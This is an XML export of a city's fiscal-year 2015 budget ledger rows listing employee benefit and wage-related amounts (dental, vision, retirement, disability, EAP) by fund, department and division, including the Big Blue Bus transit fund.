<row _id="14907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1022.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1022.0</total></row>
<row _id="14908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>285349.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>285349.0</total></row>
<row _id="14909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="14910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5117.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5117.0</total></row>
<row _id="14911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10266.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10266.0</total></row>
<row _id="14912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>358.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>358.0</total></row>
<row _id="14913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2358.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2358.0</total></row>
<row _id="14914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="14917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4795.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4795.0</total></row>
<row _id="14918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>833.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>833.0</total></row>
<row _id="14919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6494.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6494.0</total></row>
<row _id="14921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2281.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2281.0</total></row>
<row _id="14922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1567.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1567.0</total></row>
<row _id="14923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7155.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7155.0</total></row>
<row _id="14924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10369.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10369.0</total></row>
<row _id="14925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>574.0</total></row>
<row _id="14926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4916.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4916.0</total></row>
<row _id="14927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18029.0</total></row>
<row _id="14928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15302.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15302.0</total></row>
<row _id="14929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>43264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43264.0</total></row>
<row _id="14930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6818.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6818.0</total></row>
<row _id="14931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>519.0</total></row>
<row _id="14932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4504.0</total></row>
<row _id="14934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8935.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8935.0</total></row>
<row _id="14935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>574.0</total></row>
<row _id="14936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7041.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7041.0</total></row>
<row _id="14937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3429.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3429.0</total></row>
<row _id="14939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>646.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>646.0</total></row>
<row _id="14940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1152.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1152.0</total></row>
<row _id="14941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5326.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5326.0</total></row>
<row _id="14942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2365.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2365.0</total></row>
<row _id="14943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7157.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7157.0</total></row>
<row _id="14944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11984.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11984.0</total></row>
<row _id="14945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7768.0</total></row>
<row _id="14946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>791019.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>791019.0</total></row>
<row _id="14947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2786.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2786.0</total></row>
<row _id="14948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28516.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28516.0</total></row>
<row _id="14949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>547364.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547364.0</total></row>
<row _id="14950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>45437.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45437.0</total></row>
<row _id="14951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>153302.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153302.0</total></row>
<row _id="14952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>711014.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>711014.0</total></row>
<row _id="14953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8575.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8575.0</total></row>
<row _id="14954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3615.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3615.0</total></row>
